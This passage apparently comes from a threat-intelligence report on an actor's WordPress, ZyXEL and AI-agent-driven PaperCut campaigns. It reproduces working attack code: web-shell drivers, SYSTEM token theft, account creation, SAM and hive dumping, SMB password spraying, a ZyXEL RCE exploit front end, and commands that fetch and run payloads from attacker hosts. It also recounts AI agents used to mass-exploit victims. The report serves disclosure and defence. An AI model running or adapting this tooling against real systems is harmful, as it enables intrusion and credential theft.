print(run('echo test > C:\\Windows\\Temp\\test_potato.txt && echo WRITE_OK'))
print()

# 方案3: 最简单 - 直接用certutil下载+执行
# 但这会被Defender拦。。。

# 方案4: 用PowerShell的NamedPipe + SeImpersonate做PrintSpoofer风格提权
# 这是纯PowerShell实现,不需要额外文件
print("=== PowerShell PrintSpoofer (in-memory) ===")

# 简化版:直接尝试用PowerShell的.NET反射做potato
# 先试试能不能执行较复杂的PS命令
ps_test = 'powershell.exe -NoProfile -ep bypass -c "$a=[Security.Principal.WindowsIdentity]::GetCurrent();Write-Host $a.Name;Write-Host ImpersonationLevel:$($a.ImpersonationLevel)"'
print(run(ps_test))
print()

# 尝试用 msbuild 执行C#代码(LOLBin,Defender一般不拦msbuild本身)
print("=== MSBuild available? ===")
print(run('dir C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe 2>&1'))
print()

# 方案5: 最稳的 - 用MSBuild执行内联C# Potato
print("=== Trying MSBuild Potato ===")
# 写一个MSBuild项目文件内含C# Potato代码
msbuild_xml = r'''<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Run">
    <Exec Command="cmd /c whoami > C:\Windows\Temp\potato_out.txt 2>&amp;1" />
  </Target>
</Project>'''

# 先写msbuild文件
cmd_write = 'echo ^<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"^>^<Target Name="Run"^>^<Exec Command="cmd /c whoami ^> C:\\Windows\\Temp\\potato_out.txt 2^>^&amp;1" /^>^</Target^>^</Project^> > C:\\Windows\\Temp\\test.proj'
print(run(cmd_write))
print(run('C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe C:\\Windows\\Temp\\test.proj /t:Run /nologo 2>&1'))
print(run('type C:\\Windows\\Temp\\potato_out.txt 2>&1'))

‍

#!/usr/bin/env python3
"""
方案1: ImpersonateLoggedOnUser in-process
获取SYSTEM token后不创建新进程,而是在当前PS进程内impersonate
然后用.NET方法直接执行特权操作
"""
import urllib.request, ssl, urllib.parse, re, base64, time

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = "<REDACTED>"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"
writer_url = base_url + "/wp-content/plugins/kapibala_plugin/fw.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=300)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

def write_file(path, content):
    if isinstance(content, str):
        content = content.encode()
    b64 = base64.b64encode(content).decode()
    post_data = urllib.parse.urlencode({"f": path, "d": b64}).encode()
    req = urllib.request.Request(writer_url, data=post_data,
        headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"})
    resp = opener.open(req, timeout=30)
    return resp.read().decode()

# PowerShell脚本: 用GodPotato获取SYSTEM token,然后用ImpersonateLoggedOnUser
# 在当前进程内impersonate,用DirectoryServices.AccountManagement创建用户
ps_script = r'''
$outFile = "C:\Windows\Temp\imp_out.txt"
"[*] Starting in-process impersonation..." | Out-File $outFile

try {
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    
    Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;

public class TokenHelper {
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool RevertToSelf();
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool DuplicateTokenEx(IntPtr hExisting, uint access, IntPtr ta, int il, int tt, out IntPtr hNew);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool OpenProcessToken(IntPtr proc, uint access, out IntPtr token);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
    
    [DllImport("kernel32.dll")]
    public static extern bool CloseHandle(IntPtr h);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool SetThreadToken(IntPtr thread, IntPtr token);
    
    public static IntPtr GetSystemToken() {
        // 找到一个SYSTEM进程的token
        var procs = System.Diagnostics.Process.GetProcessesByName("winlogon");
        foreach(var p in procs) {
            IntPtr hProc = OpenProcess(0x0400, false, p.Id);
            if(hProc == IntPtr.Zero) continue;
            IntPtr hToken;
            if(OpenProcessToken(hProc, 0x0002 | 0x0004 | 0x0008, out hToken)) {
                IntPtr dupToken;
                if(DuplicateTokenEx(hToken, 0x02000000, IntPtr.Zero, 2, 2, out dupToken)) {
                    CloseHandle(hToken);
                    CloseHandle(hProc);
                    return dupToken;
                }
                CloseHandle(hToken);
            }
            CloseHandle(hProc);
        }
        return IntPtr.Zero;
    }
}
"@

    # 方法A: 直接从SYSTEM进程偷token并impersonate
    "[*] Trying direct token theft from winlogon..." | Out-File $outFile -Append
    $token = [TokenHelper]::GetSystemToken()
    "[*] Token handle: $token (err: $([Marshal]::GetLastWin32Error()))" | Out-File $outFile -Append
    
    if($token -ne [IntPtr]::Zero) {
        $r = [TokenHelper]::ImpersonateLoggedOnUser($token)
        "[*] ImpersonateLoggedOnUser: $r (err: $([Marshal]::GetLastWin32Error()))" | Out-File $outFile -Append
        $id = [Security.Principal.WindowsIdentity]::GetCurrent()
        "[*] Current identity: $($id.Name) (level: $($id.ImpersonationLevel))" | Out-File $outFile -Append
        
        if($id.Name -match "SYSTEM") {
            "[+] GOT SYSTEM IN CURRENT THREAD!" | Out-File $outFile -Append
            
            # 现在我们是SYSTEM,直接用.NET创建用户
            try {
                Add-Type -AssemblyName System.DirectoryServices.AccountManagement
                $ctx = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
                $user = New-Object System.DirectoryServices.AccountManagement.UserPrincipal($ctx)
                $user.Name = "kapibala2"
                $user.SetPassword("<REDACTED>")
                $user.Enabled = $true
                $user.Save()
                "[+] User kapibala2 created!" | Out-File $outFile -Append
                
                # 加入管理员组
                $group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($ctx, "Administrators")
                $group.Members.Add($user)
                $group.Save()
                "[+] Added to Administrators!" | Out-File $outFile -Append
            } catch {
                "[!] User creation error: $_" | Out-File $outFile -Append
            }
            
            # 读取SAM
            try {
                $sam = reg save HKLM\SAM C:\Windows\Temp\sam.hiv /y 2>&1
                "[*] SAM save: $sam" | Out-File $outFile -Append
            } catch {
                "[!] SAM error: $_" | Out-File $outFile -Append
            }
        }
        
        [TokenHelper]::RevertToSelf()
        [TokenHelper]::CloseHandle($token)
    } else {
        "[-] Could not get SYSTEM token directly (Access Denied expected)" | Out-File $outFile -Append
        
        # 方法B: 用GodPotato获取token然后impersonate
        "[*] Falling back to GodPotato method..." | Out-File $outFile -Append
        $bytes = (New-Object Net.WebClient).DownloadData("https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe")
        $asm = [System.Reflection.Assembly]::Load($bytes)
        "[*] GodPotato loaded" | Out-File $outFile -Append
        
        # GodPotato没有直接暴露token的API,它只能CreateProcessWithTokenW
        # 需要修改方法...
        # 尝试用GodPotato执行一个PowerShell命令来impersonate
        [string[]]$a = @("-cmd", "powershell.exe -NoProfile -c `"[Security.Principal.WindowsIdentity]::GetCurrent().Name | Out-File C:\Windows\Temp\god_id.txt`"")
        $asm.EntryPoint.Invoke($null, @(,$a))
        Start-Sleep 3
        "[*] GodPotato executed" | Out-File $outFile -Append
    }
} catch {
    "ERROR: $_ `n$($_.Exception.InnerException)" | Out-File $outFile -Append
}
'''

print("[*] Writing impersonation script...")
write_file("C:\\Windows\\Temp\\imp.ps1", ps_script)

print("[*] Executing (in-process impersonation)...")
result = run('powershell.exe -NoProfile -ep bypass -File C:\\Windows\\Temp\\imp.ps1 2>&1')
print(f"PS output: {result[:300]}")
print()

time.sleep(3)

print("[*] Impersonation log:")
print(run('type C:\\Windows\\Temp\\imp_out.txt 2>&1'))
print()

print("[*] Check user:")
print(run('net user kapibala2 2>&1'))
print()

print("[*] Check SAM hive:")
print(run('dir C:\\Windows\\Temp\\sam.hiv 2>&1'))

‍

2026-07-22T03:17:41Z: MCA used a custom tool to search for cleartext credentials in readable files. This produced usable findings including credentials to a backend SQL database.

‍

#!/usr/bin/env python3
import urllib.request, ssl, urllib.parse, re, base64

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = "https://[redacted]"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=120)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

# 1. GoLive ASP连接字符串 (经典ASP站点很可能有硬编码密码)
print("="*60)
print("[1] GoLive/GlobalVariablesTest.asp (数据库连接)")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\GlobalVariablesTest.asp 2>&1'))
print()

# 2. GoLive登录函数
print("="*60)
print("[2] GoLive/loginfunctions.asp")
print("="*60)
r = run('type C:\\inetpub\\GoLive\\loginfunctions.asp 2>&1')
print(r[:3000])
print()

# 3. Entrust DLL配置 (完整)
print("="*60)
print("[3] <REDACTED>.Bespoke.[redacted].Entrust.dll.config")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\<REDACTED>.Bespoke.[redacted].Entrust.dll.config 2>&1'))
print()

# 4. FormsTest.exe.config
print("="*60)
print("[4] FormsTest.exe.config")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\FormsTest.exe.config 2>&1'))
print()

# 5. NR3Update配置
print("="*60)
print("[5] NR3Update 目录")
print("="*60)
print(run('dir C:\\inetpub\\NR3Update /b 2>&1'))
print()

# 6. APIs子目录配置
print("="*60)
print("[6] APIs\\NR3API")
print("="*60)
print(run('dir C:\\inetpub\\APIs\\NR3API /b 2>&1'))
print()

# 7. 搜索所有含password的配置文件
print("="*60)
print("[7] 全局密码搜索")
print("="*60)
print(run('findstr /si "password pwd passwd conn" C:\\inetpub\\GoLive\\*.asp C:\\inetpub\\GoLive\\*.config 2>&1')[:3000])
print()

# 8. Backup目录
print("="*60)
print("[8] Backup目录")
print("="*60)
print(run('dir C:\\inetpub\\Backup /b 2>&1'))
print()

# 9. FTP root
print("="*60)
print("[9] ftproot")
print("="*60)
print(run('dir C:\\inetpub\\ftproot /b 2>&1'))

‍

2026-07-22T03:30:41Z: MCA used a custom tool to “pack the loot” (stolen files) by using PowerShell to create and stage a ZIP archive in a web-reachable path.

2026-07-22T03:31:25Z: MCA downloads the previously staged ZIP archive which contains source code, credentials, and additional sensitive information.

2026-07-22T04:02:01Z: MCA operationalizes the stolen credentials by conducting password spraying using custom tools. The adversary successfully gains access to an internal SQL database.

2026-07-22T04:08:32Z: MCA produces and executes two tools to bulk extract sensitive information from the SQL server. The tools use similar archiving and staging procedures as previously noted.

2026-07-22T04:09:20Z: MCA downloads the data they stole from the SQL database. At minimum, 18,566 records including accounts, plaintext passwords, and personally identifiable information (PII) associated with law enforcement and government agencies.

2026-07-22T05:36:41Z: MCA resumes activity and attempts broader password spraying internally and continues operations until at least 06:01:40Z. 

‍

#!/usr/bin/env python3
import urllib.request, ssl, urllib.parse, re, base64, time

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = "<REDACTED>"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"
writer_url = base_url + "/wp-content/plugins/kapibala_plugin/fw.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=120)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

def write_file(path, content):
    if isinstance(content, str):
        content = content.encode()
    b64 = base64.b64encode(content).decode()
    post_data = urllib.parse.urlencode({"f": path, "d": b64}).encode()
    req = urllib.request.Request(writer_url, data=post_data,
        headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"})
    resp = opener.open(req, timeout=30)
    return resp.read().decode()

ps_script = '''$out = ""

# SMB到SQL Server (192.168.200.22) 测试凭据
$target = "192.168.200.22"

$creds = @(
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>")
)

$out += "[*] SMB spray to $target...`n"
foreach($c in $creds) {
    $u = $c[0]; $p = $c[1]
    # 先清理旧连接
    net use * /delete /y 2>&1 | Out-Null
    $r = net use "\\\\$target\\IPC$" /user:$u $p 2>&1 | Out-String
    if($r -match "command completed") {
        $out += "[+] SUCCESS: $u / $p`n"
        $shares = net view "\\\\$target" 2>&1 | Out-String
        $out += "  Shares: $shares`n"
        net use "\\\\$target\\IPC$" /delete /y 2>&1 | Out-Null
    } else {
        $errMsg = $r.Trim() -replace "`r`n"," "
        if($errMsg.Length -gt 100) { $errMsg = $errMsg.Substring(0,100) }
        $out += "  [-] $u / $p : $errMsg`n"
    }
}

# 也测试本机
$out += "`n[*] SMB spray to localhost (<REDACTED>)...`n"
$localCreds = @(
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>")
)
foreach($c in $localCreds) {
    $u = $c[0]; $p = $c[1]
    net use * /delete /y 2>&1 | Out-Null
    $r = net use "\\\\localhost\\IPC$" /user:$u $p 2>&1 | Out-String
    if($r -match "command completed") {
        $out += "[+] LOCAL SUCCESS: $u / $p`n"
        net use "\\\\localhost\\IPC$" /delete /y 2>&1 | Out-Null
    }
}

$out += "`n[*] Done.`n"
[IO.File]::WriteAllText("C:\Windows\Temp\smb_spray.txt", $out)
Write-Host "DONE"
'''

print("[*] Writing SMB spray script...")
write_file("C:\\Windows\\Temp\\smb_spray.ps1", ps_script)

print("[*] Executing SMB spray...")
result = run('powershell.exe -NoProfile -ep bypass -File C:\\Windows\\Temp\\smb_spray.ps1 2>&1')
print(f"  {result}")
print()

time.sleep(2)
print("[*] Results:")
print(run('type C:\\Windows\\Temp\\smb_spray.txt'))

‍

The MCA continued to exploit the aforementioned WordPress vulnerabilities against numerous other entities until refocusing their efforts against additional technologies. Victims of WordPress exploitation included numerous governments and small businesses in the following countries, however, none appeared as severe as the above:

Country Victims
Germany4
Colombia3
Switzerland3
Brazil2
Japan2
Poland2
United Kingdom2
Australia1
Chile1
China1
Czech Republic1
Finland1
France1
Greece1
Hungary1
Iceland1
India1
Madagascar1
Mongolia1
Netherlands1
Pakistan1
Philippines1
Russia-occupied Ukraine1
Slovakia1
South Africa1
Turkey1
Ukraine1
United Arab Emirates1
United States1
Undetermined9
Total49

‍

ZyXEL GS1900 Switches

On or about 17 August, the MCA exploited and exfiltrated sensitive information including configurations, root level credentials (hashed), and networking information from 996 ZyXEL GS1900 Smart Managed Switches in 48 countries.

The exploit code was contained within a Python script which was heavily obfuscated by the commercial obfuscation tool PyArmor. Deobfuscation was accomplished thanks in part to the MCA leaving in place a runtime which pinned the script to PyArmor 6.7.5, a legacy version released in 2021. After deobfuscating the script, we decompiled the resulting bytecode and discovered the script’s sole purpose is to exploit a vulnerability (CVE-2026-107441) impacting ZyXEL GS1900 Smart Managed Switches. While the script explicitly targets firmware versions 2.10-2.90 of the GS1900-24, it does provide command line options (e.g. libc base address, global offsets), for targeting other firmware in scope for the vulnerability:

‍

ap = argparse.ArgumentParser(
    description='Zyxel GS1900 Pre-Auth RCE',
    formatter_class=argparse.RawDescriptionHelpFormatter,
    epilog=("Examples:\n"
            "  %(prog)s http://192.168.1.1 'echo rce>/tmp/pwned'\n"
            "  %(prog)s https://192.168.1.1 '/bin/busybox telnetd -p 2323 -l /bin/sh'\n"
            "  %(prog)s http://192.168.1.1 -m stack -n 5000 'id>/tmp/id'\n\n"
            "Notes:\n"
            "  Command must not contain: & (0x26), = (0x3D), newline, null byte.\n"
            "  GOT mode is deterministic (1 request). Stack mode is ASLR brute-force (~2048 avg)."))
ap.add_argument('url', help='target URL (http://ip or https://ip:port)')
ap.add_argument('command', help='command to execute')
ap.add_argument('-m', '--mode', choices=['got', 'stack', 'auto'], default='auto',
                help='got=deterministic, stack=ASLR brute-force, auto=fingerprint then decide')
ap.add_argument('-n', '--attempts', type=int, default=10000,                 help='max attempts for stack mode (default: 10000)')
ap.add_argument('--libc', type=lambda v: int(v, 0), default=None, help='libc base address override')
ap.add_argument('--req-params', type=lambda v: int(v, 0), default=None, help='reqParameters address override')
ap.add_argument('--strcmp-got', type=lambda v: int(v, 0), default=None, help='strcmp GOT address override')
ap.add_argument('--system-off', type=lambda v: int(v, 0), default=None, help='system() offset in libc override')
ap.add_argument('--no-fingerprint', action='store_true')
args = ap.parse_args()

parsed = urlparse(args.url)
use_ssl = parsed.scheme == 'https'
host = parsed.hostname
port = parsed.port or (443 if use_ssl else 80)
cmd_bytes = args.command.rstrip().encode()
check_bytes(cmd_bytes, 'command')
print('[*] Zyxel GS1900 Pre-Auth RCE', flush=True)
print(f'[*] Target:  {parsed.scheme}://{host}:{port}', flush=True)
mode = args.mode
req_params = args.req_params or DEF_REQ_PARAMS
strcmp_got = args.strcmp_got or DEF_STRCMP_GOT
libc = args.libc
system_off = SYSTEM_OFF

‍

The MCA used the exploit to execute the Trivial File Transfer Protocol (TFTP) tool to get a custom collector script c from the adversary’s infrastructure:

sh -c tftp -gr c -l /1 <REDACTED> 6969;/bin/sh /1

‍

The collection tool’s final act is staging the collected data for retrieval:

cp /tmp/info /home/web/tmp/info.txt

‍

While the credentials were hashed, 564 of the victims had factory default credentials.

Country Victim Switches
Italy133
United States129
Taiwan123
France90
South Korea69
Netherlands66
Czech Republic49
United Kingdom33
Thailand28
Slovakia27
Bulgaria21
Romania20
Sweden19
Germany18
Finland18
Ireland18
Spain17
Denmark15
Austria13
Russia11
Switzerland8
Poland7
Australia7
Greece7
Hungary6
Belarus5
Ukraine4
Norway4
Guadeloupe4
Lithuania4
Portugal3
Latvia2
Belgium2
Panama2
Iran1
Vietnam1
Monaco1
Martinique1
Turkey1
Albania1
Slovenia1
Malaysia1
Colombia1
Uzbekistan1
Costa Rica1
Malta1
Estonia1
Hong Kong1
Total996

‍

Indicators of Compromise

Indicator of Compromise Note
0e81d80b40eaacbf6cb1e817fb1824c30a824af5cb4faca4aa9b03fd506d480f Backdoor
0f6e757e82c4d91df5bd249f775b9970b59dee42cc0dfe40f879d77fc16821c6 Backdoor
2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1 Backdoor
*.981666.xyz C2
74.48.66.73 Staging
<REDACTED> Exploitation
104.225.153.141 C2
172.245.247.21 Exploitation
kapibala2 Account
kapibala Account

‍

Agents Gone Wild: An AI-Orchestrated Global Campaign Against PaperCut NG/MF

GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise has been tracking malicious use of 45.142.193.132 since early July 2026 due to its use for attacks against internet facing technologies and devices from Palo Alto, Ubiquiti, Citrix, SonicWall, and Proxmox VE.

On 31 August 2026, a likely Russian-speaking malicious cyber actor (MCA) used 45.142.193.132 and artificial intelligence (AI) to develop, test, and use exploits for PaperCut NG/MF (CVE-2026-81578 and CVE-2026-82078). PaperCut is print management software that enables organizations to track, charge, and manage printing, copying, and scanning jobs for organizations. PaperCut offers cloud and self-hosted versions. PaperCut NG and MF are self-hosted Java web applications that by default run with SYSTEM-level privileges on Windows and are usually domain-joined and integrated with Active Directory. As part of the adversary’s exploit development and testing, they built and attacked a lab environment that included the vulnerable PaperCut software and an Active Directory server. In parallel workflows, the adversary built target lists using an internet scanning service Netlas.io using an identified API key.

Once the adversary achieved remote code execution (RCE) and credential harvesting in its self-hosted lab environment, they used hundreds of AI Agents powered by OpenAI’s Codex (harness), a DeepSeek model (not OpenAI models), and various publicly available offensive security tools to opportunistically compromise at least 440 instances of PaperCut MF/NG hosted by 395 identified victim organizations in 48 countries. There are other real victims that could not be attributed to a named organization. The adversary did explicitly attempt to avoid targeting entities in 28 identified countries; however, our observed victimology shows the attempted restraint failed in some instances.

It’s clear that large language models (LLM) are enabling adversaries to move at greater speed and scale. The adversary went from an empty workspace to first achieving RCE against a real victim in just under four hours, first domain admin in an additional two hours, and once the full campaign launched, compromised at least 11 organizations in 26 seconds. In one instance, the adversary went from initial access to full domain administrator in seven minutes against a high school in the United States. However, the adversary did not experience success evenly across all victims. GreyNoise observed the adversary achieved domain admin against only 12 victim organizations. 

The adversary did not immediately follow-up with all compromised victims, so there were multiple-day delays between initial access and achievement of domain admin but only due to a lack of action by the adversary. Where domain admin was achieved, the adversary’s fastest time was five minutes and the longest time was 144 minutes. At GreyNoise’s time of last observation, the adversary had not achieved domain admin against the other victims. In at least one instance of targeting a perceived vulnerable PaperCut instance, Cloudflare’s Web Application Firewall (WAF) defeated the adversary. Fundamental hardening of environments still matters against AI-enabled threats.

It is unclear if this actor is solely focused on access development to be handed off to other affiliated actors or if they will directly leverage their accesses to achieve follow-on objectives such as data theft or ransomware deployment. In the past, other intrusions involving exploitation of PaperCut have led to extortion. GreyNoise partnered with industry leading incident response services organizations to conduct victim notifications around the clock.

‍

Incident timelineTLP:CLEAR
PaperCut mass exploitation by an AI agent
AI agents directed by a malicious cyber actor (MCA) used OpenAI's Codex with a DeepSeek model.
25 dated events on 4 daysUnauthorized accessSelect a date to read it.
Aug 27, 2026
PaperCut publishes its security advisory
Open on the full timeline →
Aug 31, 2026 · 14:44:55 UTC
Workspace created and software downloaded
From its orchestration host, the MCA downloads the advisory and pre- and post-patch versions of the software, then searches the internet for public proofs of concept and exploits.
Open in the GreyNoise Visualizer ↗
Aug 31, 2026 · 15:18:26 UTC
First list of suspected vulnerable targets
Aug 31, 2026 · 15:54:53 UTC
Versions diffed and exploits developed
Installer components for the vulnerable and patched versions are extracted and diffed. The exploits are tested against patched and unpatched servers in Africa.
Aug 31, 2026 · 16:04:42 UTC
MCA is prompted for permission to continue
Aug 31, 2026 · 16:09:31 UTC
Multi-threaded tool built
Built to operationalize the previous findings in furtherance of the attack.
Aug 31, 2026 · 16:09:49 UTC
Tool identifies 462 potentially vulnerable targets
Aug 31, 2026 · 16:14:53 UTC
Multi-threaded tool refined
Aug 31, 2026 · 16:20:14 UTC
Multi-threaded tool refined again
Aug 31, 2026 · 16:23:19 UTC
Target list grows with the improved tool
Aug 31, 2026 · 16:26:00 UTC
1,005 potential target addresses resolved to countries
Using a downloaded IP2Location LITE DB1 country database.
Aug 31, 2026 · 16:35:10 UTC
Local lab built
An Active Directory server and a vulnerable PaperCut server.
Aug 31, 2026 · 16:46:47 UTC
Target list refined
Aug 31, 2026 · 16:58:46 UTC
Target list refined again
Aug 31, 2026 · 17:02:12 UTC
Lab gains 8 fake Active Directory users
Aug 31, 2026 · 18:39:39 UTCUnauthorized access
First remote code execution on a real target
Remote code execution and a shell on a real target in Australia.
Aug 31, 2026 · 19:14:46 UTC
Target list excludes 28 countries
The MCA lists them in order, from Russia, China and Hong Kong to Namibia, Nigeria and Zimbabwe.
Aug 31, 2026 · 20:50:00 UTC
Per-target intrusion kits assembled
Compartmentalized "Kali-ready" kits with post-exploitation connectivity scripts. A kit can also create an account and password and add it to Domain Admin.
Aug 31, 2026 · 21:00:00 UTCUnauthorized access
Domain Admin validated at the first real target
The initial Australian target.
Open on the full timeline →
Sep 1, 2026 · 07:00:00 UTC
Target list refined with Netlas.io results
Using a specific Application Programming Interface (API) key.
Sep 1, 2026 · 08:30:00 UTCUnauthorized access
Agents launch the campaign via a second execution host
Hundreds of SSH sessions to that host. Unauthorized access to 11 organizations in 26 seconds, credential harvesting within a minute, 78 in the first hour, 8 with Domain Admin.
Sep 1, 2026 · 17:01:00 UTC
Cloudflare's Web Application Firewall defeats the MCA
Targeting a host behind Cloudflare fails. The MCA also notices performance issues and adjusts thread usage for targets in the United States.
Sep 1, 2026 · 17:15:00 UTC
Bug found and fixed automatically
The campaign continues harvesting credentials.
Sep 1, 2026 · 23:12:04 UTCUnauthorized access
Last remote code execution of Sep 1
Unauthorized access to more than 223 PaperCut systems.
Open on the full timeline →
Sep 2, 2026 · 15:45:35 UTCUnauthorized access
Last remote code execution of Sep 2
Unauthorized access to the remainder of the PaperCut systems.
Open on the full timeline →
Source: GreyNoise.
Times are UTC.
GreyNoise

‍

Key Takeaways

  • Despite U.S. based frontier model guardrails, adversaries are using a variety of large language models to conduct intrusions globally
  • AI enables fast and efficient complex orchestration of cyber operations; however, unless properly constrained, agentic operations can deviate from expected behavior and pose operational risk
  • Organizations are not helpless against agentic attacks and traditional hardening does have a positive impact on the security posture of an organization

‍

Intrusion Attack Lifecycle

Where domain admin was achieved, GreyNoise observed three attack paths:

Attack Path A.

If the compromised PaperCut host was a domain member, the adversary harvested LSASS process memory and registry secrets to recover privileged credentials to pass-the-hash to the domain controller.

Attack Path B.

In instances where the victim had not patched for CVE-2021-42278 and CVE-2021-42287, the adversary used a ‘noPac’ attack.

Attack Path C. 

If the compromised PaperCut host was on the Domain Controller itself or running as a Domain-Admin service account, the adversary simply added its newly created account to Domain Admins.

In all Attack Paths, the adversary used DCSync to create a full NTDS.DIT dump to exfiltrate the organization’s credentials.

‍

GreyNoise Community CTA
Free community account

Tell signal from noise, for free.

Create a free GreyNoise account and start telling internet noise apart from real threats. No credit card required.

  • 50 IP lookups a week, plus live dashboards and up to 3 alerts
  • Weekly At The Edge Clear threat briefs and access to GreyNoise Experiments
  • Sign up with a work email for 10-day lookback, bulk lookups, and API access
Create your free account Takes about 30 seconds.

‍

Indicators of Compromise

Note that these IOCs are not exhaustive, the AI-enabled adversary continued to make necessary changes on the fly. GreyNoise will continue to add new IOCs on our GitHub.

Observable Description
45.142.193.132Used to orchestrate and execute the campaign
45.158.196.75Used to execute the campaign
528cd4e69ecfa5191adbcf6ef28667bf (lsa_read.exe)Rust LSA secret reader
ce870a91e8d27e8f663f0687abc60b04 (save_hives.exe)Registry Hive Dumper
a6437ac3d6798090a218520985d36a3f (collect_custom.exe)Rust custom collector
fc92dfafa7aa741c5f2b9cbcf75d1d19 (lsa_collect_small.exe)Rust LSA bootkey collector
974decb9ff4c8f9ccb0937c96d513347 (certipy.exe)ADCS Abuse Tool
Administrator17Adversary created account
C:\Windows\Temp\pc-sys.hivSYSTEM hive staged for exfil
C:\Windows\Temp\pc-sec.hivSECURITY hive staged for exfil
C:\Windows\Temp\pc-security.hivSECURITY hive staged for exfil
C:\Windows\Temp\pc-system.hivSYSTEM hive staged for exfil
C:\ProgramData\pc-sys-reg.hivSYSTEM hive staged for exfil (alternate path)
C:\Windows\Temp\pc-*.b64Base64-encoded hive chunks staged for HTTP exfiltration
C:\ProgramData\ligolo-agent.exeLigolo tunnel agent dropped for persistent access
...\PaperCut MF\server\custom\web\pcp_<10rand>.txtEvidence of successful exploitation
reg save HKLM\SYSTEM "C:\Windows\Temp\pc-system.hiv" /y & certutil -encode "C:\Windows\Temp\pc-system.hiv" "C:\Windows\Temp\pc-system.b64" & type "C:\Windows\Temp\pc-system.b64"Dumping the SYSTEM registry hive to disk, base64 encoding it, and verifying its output in preparation for exfiltration.
reg save HKLM\SECURITY "C:\Windows\Temp\pc-security.hiv" /y & certutil -encode "C:\Windows\Temp\pc-security.hiv" "C:\Windows\Temp\pc-security.b64" & type "C:\Windows\Temp\pc-security.b64"Dumping the SECURITY registry hive to disk, base64 encoding it, and verifying its output in preparation for exfiltration.
certutil -urlcache -split -f "http://45.142.193[.]132:8000/lsa_collect.exe" C:\Windows\Temp\lsa_collect.exe & C:\Windows\Temp\lsa_collect.exeDownloading and executing LSA bootkey collector
http://45.142.193.132:8089/agent5.exeURL for Ligolo-ng used by adversary
C:\ProgramData\LegitSvc\legit-svc.exeLigolo-ng name and path used by adversary
C:\ProgramData\LegitSvc\legit-svc-backup.exe.Ligolo-ng name and path used by adversary

‍

Adversary Tool Kit

The MCA had a library of publicly available offensive security tools used to expand access to the enterprise environment. Note that not all of these tools were observed in active use during this campaign.

Tool Upstream Acquisition
Mimikatzgentilkiwi/mimikatzbinary
SharpHoundSpecterOps/SharpHoundbinary
Certipyly4k/Certipybinary
BloodHound LegacySpecterOps/BloodHound-Legacybinary
